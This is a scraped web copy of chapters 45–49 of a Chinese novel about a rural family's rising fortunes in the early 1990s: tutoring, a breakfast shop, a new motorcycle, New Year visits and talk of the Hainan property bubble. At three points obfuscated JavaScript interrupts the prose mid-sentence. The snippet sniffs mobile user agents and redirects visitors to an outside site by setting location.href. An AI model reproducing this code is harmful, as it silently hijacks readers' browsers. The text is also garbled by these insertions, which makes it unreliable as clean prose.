;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16905854|189438||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 放下自尊,过去请教了一中学霸,但那也不是件容易事。碰上不懂的数学题,秀竹讲过一遍后,高晟仍眨着眼不说话,秀竹便问:“到底哪部分没明白?” “就……为什么这条辅助线要画在这里?”问的人说得很艰难。 “这不是很明显吗?”秀竹也诧异,“碰到这种题型,你就得考虑这么画辅助线啊……” “……很明显吗?”辅助线明不明显高晟不清楚,但他了解到一个残酷的真相,学霸和学渣眼中的数学题显然并不相同。学霸搞懂只需一眼,学渣需要半年。 再次受挫的高晟更沉默了,偏偏伍爱今还在旁边幸灾乐祸,“小晟哥,哈哈哈哈看来你也不行……” “闭嘴!”高晟和秀竹同时呵斥。然后高晟带着课本气冲冲走向厨房,秀竹接着操练两个弟弟,“阅读有困难,那数学是不是应该学好?对你没有别的要求,初中毕业证应该拿到手吧?还有你,刘子康,明年就考初中了,你还在那儿摸橡皮……” 有天刘兰英过来给姐姐帮忙,看到后院多了个大小伙子,高高帅帅的看着眼生,忙问刘瑞英是谁。刘瑞英看了看道:“那是小晟啊,你以前没见过他?暑假经常来啊。” 刘兰英便细细瞅了两眼,印象十分模糊。刘瑞英又解释:“秀水在长途车上认识的,和他一起抓了强盗,两人都还上了报纸的。喏,你去那边墙上看。” 刘兰英看了报纸上的照片,拍手笑道:“原来是他!这谁认得出来?完全变了样,个子也长高了!”感叹完,又神秘地凑近姐姐,“他怎么天天来咱们家?是不是……对秀水有点意思?” “啊?”这话立刻引起了刘瑞英的警觉,想了想又道:“不会吧,我看他们凑一块也没干啥正事,一大群人每天不是跑步就是打拳,使不完的牛劲儿。小今子天天还跟他们一起跑呢,也没见他说啥。” “今子知道个屁!”刘兰英嗤笑,心想她家的蠢小子心眼只有鼻嘎大,天天就惦记着吃饭跟打拳。就算他姐姐在他跟前谈恋爱他都不会知道。 刘瑞英话虽这么说,心里也有点疑惑起来。到了晚上,一家四口坐在厨房里准备食材时,她趁着喻庆山出去称黄豆,小声问秀水,“那个小晟,家里是干啥的?” “不清楚,没问过他,”秀水想想说:“家庭条件应该不错,手里挺有钱的。” 刘瑞英忙试探着问:“他是不是……对你有点意思?” “什么?”秀水抬头震惊道:“不可能!” “怎么不可能?”刘瑞英说:“我看他跑咱们家还挺勤的。” “他跟我学拳呢,当然得勤来!”秀水皱眉,斥责她妈:“妈你瞎说啥呢!背后编排人的习惯该改改了!人家还是高中生呢!” “高中生”这三个字提醒了刘瑞英,她更警惕了,忙扭头问,“那……他不会是对你有点那个意思吧?” “什么?”一旁听歌的秀竹也震惊了,生气道:“不可能!” “怎么不可能?”刘瑞英说:“我看他做题时还经常请教你呢。” “妈!”秀水和秀竹同时喊。秀竹气急败坏道:“讲讲题不是太正常吗?我跟我同学也经常讲题呢,你少胡说八道!真烦人!” 说着她气愤地上楼去了。开什么玩笑,她喜欢的可是小虎队里的乖乖虎,面相温良的学霸。高晟就算再帅,也比不上苏有朋的一根脚趾头! 46. 第 46 章 连着做了几天作业,意气风发的高晟,脸上增添了些许沧桑,练拳时都打不起精神了。 “怎么了怎么了?”和他对练的伍爱今不满了,“小晟哥你都没用心!你今天怎么这么不对劲?” 高晟解下拳套,表情迷茫。本想通过一个寒假的努力,再次让所有人刮目相看的,看来这想法还是太天真了。 高二学年已经过半,如果他的文化成绩再不提上来,他就考不上大学。考不上大学,那他这么拼命地练田径又为了什么?难道,他真不是块学习的料吗? 中午,一群孩子闹哄哄地围着饭桌,边吃边聊。沉默的高晟显得有些醒目。秀水便问伍爱今:“你是不是把他打得有点惨?” “怎么可能?”那两人都抬起头,激动地反驳。 “那为什么某些人今天这么垂头丧气?明显是被打败了嘛。”秀水说。 伍爱今立刻大声宣布:“小晟哥数学题做不出来,气得拍桌子哈哈哈哈……” “真的?”秀水兴致勃勃跟着嘲笑,“把我家桌子拍散架了可是要赔的。” 高晟气得要命,抬手给了伍爱今一个爆栗。伍爱今恃宠而娇,立刻靠着伍爱娜柔弱告状,“姐,他打我!” 伍爱娜象征性地摸摸他的狗头,朝高晟喊:“不准打他!打笨了考不上高中,你负责吗?” 看着苦恼的高晟,秀水决定安慰他一下,反正几句话又不花钱,“嗐!不就是搞学习嘛,我相信你行的哦小晟!你那么有毅力,什么事情干不成?你都能减下来几十斤,你田径项目都练得那么好,为什么不能把学习成绩搞上去?你肯定行!” 高晟重新燃起一点斗志,是啊,他不可能被打倒,区区几道题而已! “但是呢这方面师父可帮不了你,”秀水接着嘲笑,“毕竟我没有这方面的苦恼,我又不需要读高中哈哈哈哈……” 高晟:…… 刘子康和伍爱今满脸都是对毕业人士的羡慕,秀竹忙说:“你俩看啥看?我姐是武林第一高手,你俩是吗?不是就给我认真做作业!” “马上就不是了,小姐!”伍爱今认真扒饭,坚毅道:“我会超过她的,小姐!” “现在吗?让你一只手你都赢不了!”秀水得意洋洋地继续嘲笑,“不过呢,我要是认真搞学习,肯定也比你们几个渣渣强,哼!我这么有毅力,啥事做不好……” 高晟、伍爱今、刘子康:…… 就很气,真的很气。说得跟他们很差似的!毅力这种东西,在座谁没有啊!高晟愤愤地想,以前学习差那是没认真,现在他要认真起来了!他要严肃对待!他肯定也能学好!谁还比不过谁啊! 他也知道,自己玩了好几年,落下的功课实在太多了。但那又有什么关系?他这么有毅力,什么事情干不成?减肥多难啊,他不也减下来了吗?晚上肚子空空,起来喝凉水他都没吃一口东西,就因为师父和教练都说,胖了影响速度。他还每天跑步,从痛苦得要死,到轻松完成五千米,又到练习间歇跑,关关难过关关过。他都这么有毅力了,区区几道题而已…… 当然高晟最终还是请教了学霸。秀竹建议他先搞搞英语,因为英语相对提升容易、见效快。陆陆续续背了几天单词,果然有效果,他竟然能看懂英语试卷了,这让高晟信心大振。虽然最后也只考了三十多分,但假设他再努力一段时间,岂不是可以考五十多分、七十多分了? 就连秀竹也有点吃惊,之前看到高晟期末试卷上那血淋淋的8分,学霸受到了巨大的冲击。三十多分虽然还是不成气候,无疑好看了许多,至少是两位数了。批试卷的时候,她顺便教育了两个弟弟,要他们向高晟学习。 伍爱今顿时不服气了。大家都渣得好好的,凭什么小晟哥突然优秀起来了?本来他坐到椅子上就跟坐在钉子上似的,一刻都呆不住。现在,他也跑到厨房小桌上,和高晟对坐着刷数学题,暗中却是比拼谁保持一个姿势的时间更长。 有天刘兰英进厨房拿东西,看到自家小子坐得规规矩矩的,对着试卷皱眉苦思,心情顿时欣慰得恨不得立刻去烧高香。天老爷!她家老二如今也出息了,竟晓得主动做作业了!她就知道,当初劝姐姐搬过来住是万分英明的! 她慈爱地摸摸老二的头,连带着夸奖了高晟两句。并且觉得自己前几天和姐姐议论这帅小伙的话纯属多心。人家孩子真不是看中了哪个女孩,这明明就是为搞学习而来的! 不过很快,厨房二人组就被赶到了堂屋。因为这里要日夜蒸包子做豆腐了。腊月中旬,早餐店贴出告示,上写着“本店可订制豆腐包(有荤素两种口味),还可定制馒头、汤圆浆、豆腐。量大优惠,可送货到家,欢迎惠顾。”附近小庙村自是不必说,连县城很多人都前来订做包子馒头。 喻庆山和刘瑞英从早到晚地用机器磨豆浆、磨米浆,然后做豆腐、蒸包子。一笼笼热气腾腾的包子被分装好,秀竹和喻庆山骑着自行车,按记录的地址挨家挨户去送货。 天气一天比一天冷,秀竹每次送货回来,都要蹲到灶门口烤半天才暖过劲来。喻庆山心疼孩子,不让她送了,自己起早贪黑去送货。有天晚上回来时,天黑路滑摔了一跤,瘸了几天。秀水见了,也没说什么,只是隔天傍晚便出去了一趟,回来时开着一辆崭新的三轮摩托车进了院子。 喻庆山在厨房看到车,疑惑道:“这是谁家的?怎么把人家的新车开回来了?” 刘瑞英也看见了,猜测道:“只怕是秀水借的。” 秀水下了车,把钥匙往喻庆山手里一丢,说:“我刚买的。以后送货就开这个去。” “哇!新车!”伍爱今、刘子康和秀竹全都跑出来看。喻庆山目瞪口呆,这可是辆摩托车!崭新的三轮摩托车!怕不是要七八千块钱! “哎呀你!”刘瑞英顿时也急了,跑到院子里说:“家里的债还没还完呢,你就瞎花钱……” “我挣的钱,我花点怎么了?”秀水翻个白眼,“回头再摔着了,进医院你们就开心了。” 刘瑞英也知道秀水是心疼他们,可这么大一笔钱,她都没跟他们商量就花出去了,怎么让人不心痛呢?她只好道:“你呀你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16912255|189438||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,你真是……多少钱?我拿给你!就喜欢买东西!” “该省省该花花!我啥时候买过没用的东西了?”秀水振振有词地说:“你看那台磨浆机,今年光卖汤圆浆和豆腐就为家里增收多少?还有那台揉面机……” 这倒是真的。家里的大宗物品,几乎全是秀水今年添置的。和面机、打浆机用顺手了,刘瑞英和喻庆山一天都离不开,并且发自内心觉得,这两台机器功高劳苦。要不是有这两台机器,整个腊月他们得累个半死! “爸,你这两天得了空,先练练车。趁早晚人少的时候练。”秀水说着,坐进驾驶室,“进来我教教你。” 喻庆山忙答应了。尽管厨房有包子等着蒸,他还是抑制不住雀跃的心情,先学起了三轮车。 伍爱今刘子康等人也迅速爬到后车厢,乐滋滋地坐好了。摩托车操作起来倒不难,怎么开关、怎么挂档位、怎么加速,秀水大略给喻庆山讲了讲,他就明白了。接下来他坐进驾驶室,在秀水指导下,小心翼翼地把车开出了院门,在宽阔的小庙大道上慢慢开着。 喻庆山练了一回车,意气风发地回来,喊刘瑞英去试试。刘瑞英早就想过把瘾了,赶紧也丢下手中活计,坐进驾驶室。她小心抚摸着崭新的车把,说:“真想不到,咱家也买车了!” “可不是!”喻庆山也满脸是笑,“账慢慢还,今年就可以还得差不多了。家里确实也应该添置个三轮车了。” 刘瑞英笑着瞪他一眼,“我又不是不知道!还故意说给我听!” 喻庆山让车厢里叽叽喳喳的孩子们坐好扶稳,自己进了驾驶室,坐刘瑞英旁边教她开车。两人再一次把车开上了小庙大道,顺着路来回跑了两趟。路过车站时,喻庆山说:“以后有了空,我也去车站旁边拉货去!” 他自认为又找到一条生财之道,刘瑞英却说:“那要等你有了空再说。现在咱家光是做包子都忙不过来了。” 第二天喻庆山去送包子,便骑上了新新的摩托三轮。前面有档风玻璃,穿着大衣坐在里面暖和得很。车灯打开,照得路上雪亮,怎么都不会摔跤。后面的货仓里别说放几箱包子,就算放几千斤黄豆稻谷也是绰绰有余。二十来分钟,就把城里几个地方跑了个遍,真快呀。 到了腊月二十几,豆腐店订包子和馒头的人达到了最高峰。服装店里的人也越发多了。天气好的时间,秀水把衣服摆到了门外的水泥坪上,刘兰英在店外守着。试衣间早就从一个扩成了三个。伍为民晚上赶工用木板新搭的,门上挂上布帘,看起来比原来的高级多了。 屋里屋外都是挑衣服的人,都快赶上建市庆典那一天了。新客运站源源不断地把人吐出来,有的是从外地回家过年的,也有乡镇到城里来置办年货的。很多人图省事,在包子店吃点粉面,便到秀水店里挑衣服。然后在附近买些糖果点心和鞭炮,就可以提着大包小包去车站坐车回家。也因如此,小庙大道附近多了许多摊点,都是卖各种水果、吃食和对联的。甚至也有摆摊卖鞋袜的。到处都有高音喇叭,放着港台歌曲和促销信息,比城里都热闹。 47. 第 47 章 家里大人们太忙,年货都是秀竹带着两个弟弟出去买的。做完作业,三个人出门逛去,秀竹去卖炒货的地方买了瓜籽和江米条,在卖春联的摊上买了对联和门神,又根据刘瑞英的交代,特意买了些走亲戚的糖茶点心。熙熙攘攘的人群中,她在前面哼着小虎队的歌,两个小弟跟在后面,提着满满几大袋东西满载而归。 瓜籽点心等东西就放在堂屋里,伍爱今和刘子康不时就会去偷吃一点。高晟看到了,问他们:“怎么买这么多?” “那一堆点心不要动,”伍爱今忙说:“那边是姨妈提着走亲戚拜年的。小晟哥你要吃,就抓这边的。” “哦,我不吃,我就问问。”高晟点头表示知道了。 第二天早上他过来时,带了一大袋子糖茶点心,搁到了堂屋里。大家都没注意,到了晚上,刘瑞英进屋拿东西,发现了那个袋子,打开一看,满满一袋高档货,问了刘子康,才知道是高晟拿来的。 刘瑞英忙把秀水喊来,拿东西给她看。就见袋子里装着烟酒糖茶。烟是红塔山,酒是茅台,还有巧克力和茶叶,加在一起只怕要上千块钱。 “这孩子!怎么拿这么贵重的东西过来?”刘瑞英说:“说不定他是瞒着家里偷偷拿来的,咱们可不能要。” “行吧,”秀水说:“等明天见了面,我让他提回去。” 刘瑞英的担心不无道理。这么贵重的礼物,如果真是偷拿出来的,被人家爹妈知道了,多半要闹到他们家。那岂不是害得他们都要在小庙村丢脸?刘瑞英可不贪图这点东西,让人嚼舌头的滋味她受够了。 第二天等高晟来了,秀水果然问他为什么带东西来,高晟忙说:“我送你的啊。提前给你拜年。我还没送过拜师礼呢。” “要什么拜师礼!”秀水哭笑不得,说:“又不是什么正经师徒,等会儿你拿回去。” 高晟一听就急了,“啥意思?怎么叫‘不是正经师徒’?那意思我前面拜的不算,还得再认真拜一次?” “不是,你现在还读书呢,”秀水开玩笑道:“等你以后挣钱了再孝敬我呗!” “那不行!”高晟说:“我妈让拿来的。我带回去了她又得骂我!” 原来高晟前天晚上回去,在家翻出来几板巧克力,准备当作拜年礼送给秀水。好巧不巧他妈从邻县回来了,看见柜门大开,便问他干什么。听说高晟要给师父拜年去,彭玉梅赶忙把高天海准备四处打点的烟酒茶叶也装上了,甚至想一起上门,拜访这位神秘的师父。这半年来,儿子的改变有目共睹,虽说是他自己努力,肯定也有师父的功劳。高家可不是不知好歹的人家,人家对自己孩子好,自家的礼数是要做足的。 “行吧,”秀水听他这么说,便没啰嗦了。她惦记着生意,边往店里走边说:“不是偷拿出来的就行,就怕你爸妈知道了揍你!” “他们才不会为这个揍我!”高晟很不服气地说。 晚上高晟回家时,刘瑞英见他执意不肯把礼物收回去,只好给他装了一大袋包子。这个高晟倒是收了,他就喜欢吃素馅的豆腐包子。然后他跟每个人都打过招呼,约了春节后再见,这才骑上车、带着包子回家了。 他刚走没多久,家里却是又迎来了一帮人:秀明小两口和秀真从外地回来了。 工地虽然停了工,李贵忠和大儿子仍留在外地要账,秀明和工人们先回来了。到车站后,其他人各自回家,秀明却带着老婆妹子一路询问,找到了小叔家。 这边楼房盖好后,他们还是第一次来。喻庆山和刘瑞英喜出望外,忙丢下手里的活儿,把几人迎进院里。寒喧片刻,秀竹带着里里外外地参观了一遍。三人看了新楼房,已是吃惊不小。又见两个店里生意红火,更是满眼艳羡。 “小叔,小婶,你们家新房也太宽敞了吧!这还用上自来水了,跟城里有啥区别呀!”秀明说。 “还是有区别的,”喻庆山笑道:“这边再热闹,不也是农村吗?” “虽是农村,跟红英村那边却天差地别,”玉贞笑道:“还能在自家做生意,以前哪敢想?” 秀明记得年初他们刚走时,这一带还破破烂烂的,没想到仅仅一年,就路也修好了,房子也盖好了。他懊悔道:“早知道这样,当初就该叫我爸也在这里买块地基!跟你们一起搬过来该多好啊。” 一句话触动喻庆山的心事,安顿好侄儿的行李,大家一起在厨房做饭时,喻庆山便把兄嫂在小庙村看地基的事情告诉了他们。秀明忙问:“我爸都过来看了,最后怎么没买成呢?” 秀真笑道:“这还用问?爸妈肯定舍不得啊,好几千块钱呢……” 秀明叹了口气,老一辈的人思想还是太保守了。不过现在后悔也不晚,他便问喻庆山道:“我爸看中的那块地基卖了吗?我来买!” “应该还没卖出去,”喻庆山忙道:“你就算要买,也先和他们商量一下。可别一家人为这事吵起架来。” “我在这边住了一年,看着附近热闹起来了,”刘瑞英在灶上炒菜,说:“开着这个早餐店虽然累,到底还是比干农活要轻省些,也比种地的收入要强一点。你们要是能在这边盖房,玉贞到时也可以来做点小生意……” 她心细,早就看见玉贞脸色黄黄的,一副食欲不振的样子,知道她是有孕了。秀明看看老婆,也下定决心,“好,我回家就跟爸妈商量。就算暂时不盖房,先买块地放在那里也行。” 说着又感叹:“还是小叔小婶厉害,去年说搬就搬了。要是都像我爸妈那样犹犹豫豫的,猴年马月才能建得起这么好的房子。” 喻庆山又要替自己亲哥说好话,道:“你爸苦了一辈子,好容易在红英村盖了新房,这时候叫他搬,他自然不愿意。当初为了搬家,我们家不也吵了好几次……” “真的?”秀明和秀真都诧异。 刘瑞英也笑,说:“对啊,要不是秀水非催着我们搬,只怕我们到现在都没挪窝呢。” 正说着,秀水和伍爱娜关了店门,也来了后院。外面漆黑寒冷,厨房里却灯火通明。一大群人围着炉子吃火锅,热闹得很。席间刘瑞英问起侄子们过年后的打算,秀真和玉贞都表示春节后不再外出打工了,玉贞是怀孕了,秀真却是要在家备嫁。 秀竹忙问:“真姐,你对象是什么样的人?” 秀真脸色微红,很不好意思地埋头吃饭。玉贞便代为介绍了一番。原来她新谈的对象是另一个工地的包工头,名叫安国庆,和李贵忠一样,也带五六个人在外面干活儿。不过他们主要是做管网铺设的。李贵忠很看好这个年轻人,觉得他脑子活络,年轻有能耐,唯一美中不足的,是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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喻庆华家也才团完了年。李贵忠和大儿子刚出门。年尾他们要回账,这会儿骑着摩托车给工人送工钱去了。喻庆华见了两人,也是又意外又欢喜,忙着端茶倒水,双方寒喧片刻,刘瑞英便把借的四千块钱还给了她。又送了喻庆华一双冬鞋、一件新外套。——大姐不肯要利息,这份人情他们总要还的。 喻庆华自然推让了半天,又苦留他们吃晚饭,后来听说他们还要去另一家这才罢了。然后喻庆山又开车去了红英村。新摩托车从村里驶过时,两旁好多人团完年,正站在路边闲聊晒太阳。看到他们纷纷挥手打招呼,脸上是毫不掩饰的羡慕和嫉妒。 刘瑞英和喻庆山一路笑得阳光灿烂,和大家热情地招呼着。到了哥嫂家,喻庆海自然也喜出望外。大家喝着茶聊了会天,喻庆山便把借哥哥家的钱也还了。刘瑞英又从车上把礼物拿下来,都是新买的婴儿衣物。玉贞和蒋士芳抱着东西,自然是谢了又谢。 最后双方约好,大年初一他们开车来接大家,一起去给大姐拜年。喻庆山这才开车往外走。路过自家那幢泥巴房时,两口子停下来,刘瑞英站在晒谷坪上和邻居刘婶聊天说笑,喻庆山给老房子的门上贴上了红彤彤的对联。 回家路上,刘瑞英身心轻快,觉得自己的日子从来没像这样好过。去年她们还住在红英村,对搬家的事情充满彷徨。哪里会想到,才一年功夫,他们就住上小洋楼,开上摩托车,还把借的债全都还清了呢? 48. 第 48 章 大年初一,喻庆山开着新摩托,带秀水秀竹两姐妹去拜年。 跟往年一样,他们先去了红英村的喻庆海家。把车停在晒谷坪上后,喻庆山进去和哥嫂打了声招呼,就提着茶点、带着秀竹去给村里长辈们拜年。等回来时,看到秀明正骑着三轮车在晒谷坪上转圈。 “小叔,这摩托车真好,又方便又轻巧,”秀明从车上跳下来,羡慕道:“等啥时候有钱了,我也给爸妈买一辆。” “等你有钱了,再说有钱的打算。”蒋士芳扭头朝喻庆山笑:“快进来喝杯热茶暖暖手!庆山你是不知道,昨天你们开车回来了一趟,可把村里人羡慕坏了,都在说你们发了大财……” 新三轮让喻庆山夫妇出尽了风头。搬离红英村不到一年的时间里,他们不仅盖了新楼,还买了新车,这无疑让所有人都羡慕嫉妒得发狂。现在,关于秀水的流言已经没多少人提起了,人们更热衷于讨论做早餐和卖衣服到底有多挣钱。 既然有摩托车,喻庆海也不骑车了。秀明搬了几把椅子放进后车厢,大家都坐上去,挤挤挨挨地倒也不冷,花了二十多分钟,就到了喻庆华所住的村庄。 喻庆华家里人来人往,跟着李贵忠打工的那些人也大清早就过来拜年。李贵忠和两个儿子李思东、李思德在堂屋迎来送往、端茶倒水,喻庆华则和大儿媳在厨房烧火做饭。喻庆山的摩托车刚停下,就吸引了一圈目光。 李贵忠和小儿子李思德忙都出来迎接,双方喜气洋洋地拜了年,又围着看那辆新车,乱纷纷地夸赞车子马力强劲、外观高级,说了许久的话,才被喻庆华喊进屋子喝茶吃点心。 屋里也是闹哄哄的。拜年的人分成了两拨,男人们在堂屋聊天喝茶,女人们则在后院边讲八卦边准备午饭。秀水等人去后院跟人打了声招呼,便坐下听她们聊些东家长西家短的故事。 有人见进来的几个女孩跟一把子水葱似的,又年轻又好看,便朝厨房里的喻庆华笑道:“庆华姐,你这几个侄女一个比一个出挑,几年不见这么大了?都说亲事了没有?” 喻庆华笑道:“老二家的姑娘已经有对象了。”把秀真男朋友的情况粗略介绍后,她又道:“个子最高的这个是秀水,老三家的大姑娘,才十九岁。劳烦婶子们帮忙留个心,有合适的男孩子,都给介绍介绍。” 这当然是一番好意,毕竟为适龄男女说媒拉纤,也是乡村女性们的重要社交内容。大伙儿闻言,便都看向秀水,目光中有好奇也有公然的打量。秀水有点烦,便起身去了堂屋。女人们以为她害羞,都会意地哄笑起来。 秀水本打算去村外走走的,路过堂屋时,却听见男人们正在聊海南房地产涨价的事,不由站住多听了会儿。李贵忠说起了自己从朋友那儿听来的消息:那边一块地皮,房子都没盖起来就被转卖了几次,原先600块钱一平的房子,如今已经涨到6000块钱了。大家听后无不啧啧称奇。 “等我算算,若是100平米的房子,六百块买进来,现在卖出去六千的话,那不是能赚五十多万?”秀明仔细计算后发出惊叹:“老天爷,这比弯腰捡钱都快啊。” “可不是捡钱么?”李思东不无遗憾地说:“还是我们见识太短了。倘或早两年有眼力有魄力,趁价格低的时候买一套房,现在不挣大钱了么?哪还用苦哈哈地卖劳力?” “只怕还会往上涨,”又有一人道:“要不我们大家凑一凑,也买套房子放在那儿,等涨价了再卖掉,挣点差价!” “听说好多人都是这么炒的房,——他们管这叫炒房。”李贵忠也有些神往,说:“我认识的两个工头,也跟亲戚们凑了些钱,买了一套房,现在就等着涨价呢。” 就连包工头们都跟着炒起了房,可见这条路子是极挣钱的。堂屋里的男人们纷纷动了念头,商量着怎么凑、每家凑多少,气氛极为热烈。喻庆山坐在角落里,却是没敢搭话。一套公寓房少说也要五六十万,就算每家只出六万块钱,他也拿不出。六万块,他这辈子只怕都挣不来! 旁听的秀水却想起了以前听说过的海南房市暴雷事件。如果她没记错,92年海南房地产涨到最高位时,卖到了每平7500元,然后就在年底彻底崩盘了。想到大姑爹带着全家人在外面风餐露宿挣点钱也不容易,她便开口道:“涨得这么疯,肯定不正常。” 热火朝天的氛围为之一静,有人觉得扫兴,看她一眼说:“管他正常不正常,只要咱们把钱挣到手就行。” “去年日本房地产泡沫破裂,就跟这情况差不多,”秀水没看他,继续说:“房价先是疯涨,到处都是炒房的人,到房地产崩盘时,最后一批接手的全都倒了大霉……” 堂屋里犹如泼进一瓢冷水,连李贵忠都诧异地看了过来。秀水笑了笑,说:“新闻联播里经常放啊,你们没看到吗?” “日本是日本,咱们是咱们,”有人还是不肯放弃发财梦想,反驳道:“每个国家的情况都不一样。海南可是经济特区,国家在这块地上搞实验呢,肯定不会让房地产就这么崩了……” “看情形,国家很快就要出台宏观调控政策了,”秀水打断他,坚持道:“大姑爹,你们今年还准备去海南吗?那边房地产要是崩盘了,开发商一定会拖欠工钱。我看不如到沪市那边找找机会。不是说马上要开发浦东了吗?” 她说完就走了,也不管那帮男人听没听进去。反正她提醒过了,真要有人去淌雷,她也拦不住。 李贵忠却是心底暗暗惊诧。这几天他时常听老婆说,秀水现在长大了,家里都是她当家拿主意。不然就靠喻庆山夫妇,在外面做生意不定被人怎么欺负呢。 李贵忠本以为老婆在吹嘘,如今这么看来,喻庆华说的没准是事实。他便道:“我也觉得现在的房价炒得太高了,谁家凑得出那么多钱?真要有个闪失,一辈子都陷进去了,还是等看看再说吧。” 仍有人悄声嘀咕:“小姑娘家知道个啥呀,看两天电视就胡说八道,我觉得没问题……”见李贵忠不搭讪,这才住口,转而说起了别的。 屋外,秀水已经走到了田野上。正是寒冬时节,四野萧条,唯有村庄有几分生气。家家门上贴着大红的对联,人们相互说些吉祥话,孩子们在晒谷坪上跑来跑去……秀水站在田埂上,远远地看着,这是她曾经熟悉的世界。但此刻,这似乎亘古不变的乡村、这村庄里沿袭的习俗,都让她无端有些气闷,很想挥 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因为新买了这辆车,喻庆山在岳丈家得到了前所未有的礼遇。以前家里什么活儿都是大女婿干,现在也不让他动手了。就连潘萍都一改往日冷淡的样子,艳羡地打听买车花了多少钱。几个亲戚也上赶着和喻庆山搭话,问长问短的,未免就冷落了伍为民。两个女婿察觉到了岳丈的势利眼,表情都变得一言难尽起来。 而在厨房帮忙的刘瑞英姐妹俩心里也不舒服。整个做饭的过程中,李润芝不停念叨,“哎哟还是你们享福哦,你爸遭孽,这辈子都只骑过自行车,没骑过摩托”“你们日子过好了,可得多帮衬帮衬你弟,姐弟间就要亲亲热热才像话……”说得好像刘其山开不上摩托、刘文强过得没姐姐们好,全要怪两个女儿似的。 临走前,刘子康非要跟去大姑妈家玩,李润芝便也答应了。放在从前,她是万万舍不得的。一番叮嘱后,刘子康腰揣十元巨款,口袋里装满糠果鞭炮,跟着去了刘瑞英家。刚进院子,就见秀水和伍爱娜等人正在打扑克画乌龟,每人脸上都贴了长长的纸胡子。刘子康飞奔下车,一边喊着“姐姐哥哥”,一边把糖果掏出来给大家吃。 秀水把自己的位置让给了刘子康,她在旁边观战。秀竹则朝她爸嚷嚷着想吃炸糯米糕。喻庆山忙洗了手和面,准备给他们炸糕。刘瑞英坐在灶门口烧火,看到院子里孩子们说说笑笑的样子,不由得想,她妈真该来看看,姐弟间这么相处,才叫亲亲热热。 老两口经常嘴上教导他们,一家人要和气,要团结。可一天天的不是偏这个,就是偏那个,一碗水总也端不平,弄得儿女们都不齐心。到了秀水这里,也没见她特意迁就哪个弟弟妹妹,孩子们却都听她的话。刘瑞英第一次觉得,她的女儿比她的父母更像个家长。 “以后等姑娘结了婚,你对两个女婿可要一视同仁,别偏一个向一个的。”刘瑞英沉吟着说。 喻庆山笑了起来,“你也想得太远了,秀竹今年才十六岁。” “哪里远了?”刘瑞英说:“不就这五六年间的事情吗?” 喻庆山没说话,慢慢在锅里翻焙着糯米粉。厨房里沉默了许久,刘瑞英才又道:“庆山,咱把秀水留在家里,招个上门女婿吧。” 49. 第 49 章 两个女儿,总要留一个在家招赘,日后给父母养老送终。这是喻庆山迟早要面对的抉择。他只是没想到,这抉择来得这么早。 招赘和嫁女可完全不同。嫁女要嫁高,男方的条件总要比女方好些才像话。招赘可就没个准了。上门女婿在哪朝哪代都是社会的最底层,是被人嘲笑的对象。所以,愿意当上门女婿的人,大多数自身和家庭条件都不怎么样。 就秀水那个模样性格,如果是出嫁,自有大把好男儿供她选择。但换作招赘的话,选择范围无疑缩小了很多。想到这些,刘瑞英心里就有点堵,可谁让她没生儿子呢?秀竹将来肯定要去外地读书的,等她毕了业,还不知道去哪儿工作,又怎么能指望她来养老? 况且,想起自己的父母,刘瑞英还担心一件事,将来要是两个女儿也抱怨她没有一碗水端平,她又该怎么办? 两人沉默半天,喻庆山才说:“秀水也还小呢,才刚十九岁,急什么?慢慢谋,总会谋到合适的。” 刘瑞英叹气,“不小了。放在红英村,好多十九岁的姑娘都出嫁了。” 在农村,女孩过了二十三岁,要是还嫁不出去,会沦为家庭的耻辱,要被人说闲话的。她们的青春这么短,当父母的又有些私心,不早点谋划怎么能行? 两人议论的声音小小的,因此院子里的秀水对这个艰难的家庭决策一无所知。等锅里油烧到六成热,喻庆山把捏成指头长的面胚子放进油锅里,炸得焦黄酥脆,油香四溢。孩子们闻到了香气,一窝蜂散了牌局,跑过来吃糕。 刚炸好的糯米糕外焦里糯,捞起来沥干油,放进炒熟的糯米白糖粉里滚一滚,便是糯米糕了。 喻庆山炸一个,几个人便分吃一个,也不怕烫,一边吃一边赞不绝口。 伍爱娜说:“姨爹,为什么早餐店不卖炸糖糕?要是有这个,来咱家吃早饭的人肯定更多。” “忙不过来,”喻庆山说:“又要蒸包子,又要下粉面,我和你姨妈只有两双手,哪里做得到这么多?” “做不过来就请人啊,”秀竹建议:“请一个人帮着洗碗,妈不就可以炸糖糕了?” 刘瑞英忍不住笑:“哎哟,你家做多大的生意啊,还请人!放在早些年,敢请人就给你划分成地主老财,要挨批斗的!” 秀水却道:“妈,你不看电视吗?国家领导人都说了,发展才是硬道理。要抓住时机,发展自己!” 刘瑞英当然看电视的。春节期间,家里那台服役十几年的黑白电视机被擦得干干净净,从早到晚播放着春节晚会和新闻。虽然时常接触不良,但调整一下天线角度,或者拍拍机身,就又能恢复正常了。 秀水说的新闻,他们夫妇也都看到过,印象固然深刻,却并没有从中悟出什么深刻的道理。新闻是新闻,他们也就看个热闹而已,跟自己的小日子又有什么相关啊? 